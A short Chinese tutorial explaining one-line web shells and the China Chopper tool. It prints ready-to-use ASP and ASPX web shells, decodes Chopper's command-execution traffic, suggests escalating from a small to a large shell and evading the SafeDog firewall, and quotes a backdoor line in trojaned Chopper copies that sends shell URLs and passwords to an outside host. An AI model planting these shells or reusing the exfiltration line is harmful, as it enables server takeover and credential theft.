一句话木马原理

注:本文仅供学习参考

一句话木马:
短小精悍 而且功能强大 隐蔽性非常好,在入侵种始终扮演着强大的作用

<%
execute request(“value”)
%>

Value是值 所以你可以更改自己的值,前面的request就是获取这个值

Asp一句话
<%
execute request(“value”)
%>
Php一句话

Aspx一句话
<%
@Page language=”jscript”
%>
<%
eval(Request.ltem[“value”])
%>

那为什么上传了一句话连上菜刀就能对网站随意控制呢?我们抓包来查看一下发生了什么。
当我们点开上传一句话,在菜刀点读取功能的时候,我们看到这列数据

一句话木马原理_第1张图片

将这列数据使用post请求发送看看,发现跟读取文件的功能是一样的

解密看一下

 z0=@ini_set("display_errors","0")@set_time_limit(0)@set_magic_quotes_runtime(0)echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();

  z1=cmd

  z2=cd /d "D:\phpstudy\PHPTutorial\WWW\"&whoami&echo [S]&cd&echo [E]

  z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行输入的cmd命令
  

我们输入其他的命令的话,当然也是可以通过同样的流程进行分析以上就是中国菜刀的流量通信的特征

一句话解析原理:就是让web容器把我们上传的文件当成脚本解析的过程简单来说一句话就是将你想要的操作交给服务器来执行,达到能任意增删改查文件的效果。

如果权限不够可以先上传小马,在上传大马。安全狗可以进行相对于的绕过,也有过狗的菜刀。不过研究下变形好一点。其他jsp,asp也是同理的,只是语法不一样而已。

顺带一提的是现在网上可能带有后门的菜刀,我们同样可以通过抓包软件WSockExpert观察

    if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.xxx.cn/hack.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST));}

这里的http://www.xxx.cn/hack.php 就是这个菜刀的后门地址。
HTTP_HOST就是我们拿到shell的网站,REQUEST_URI就是shell的URI,Pass就是我们菜刀连接一句话时的密码
这段代码的大概意思就是,会将我们拿到shell的网站的地址,密码等都通过后门传送给这个网站的所有者。这样,我们就分析出了这个菜刀是存在后门的。

暂时总结到这里,当做文件上传、解析漏洞的热身吧

你可能感兴趣的:(web安全)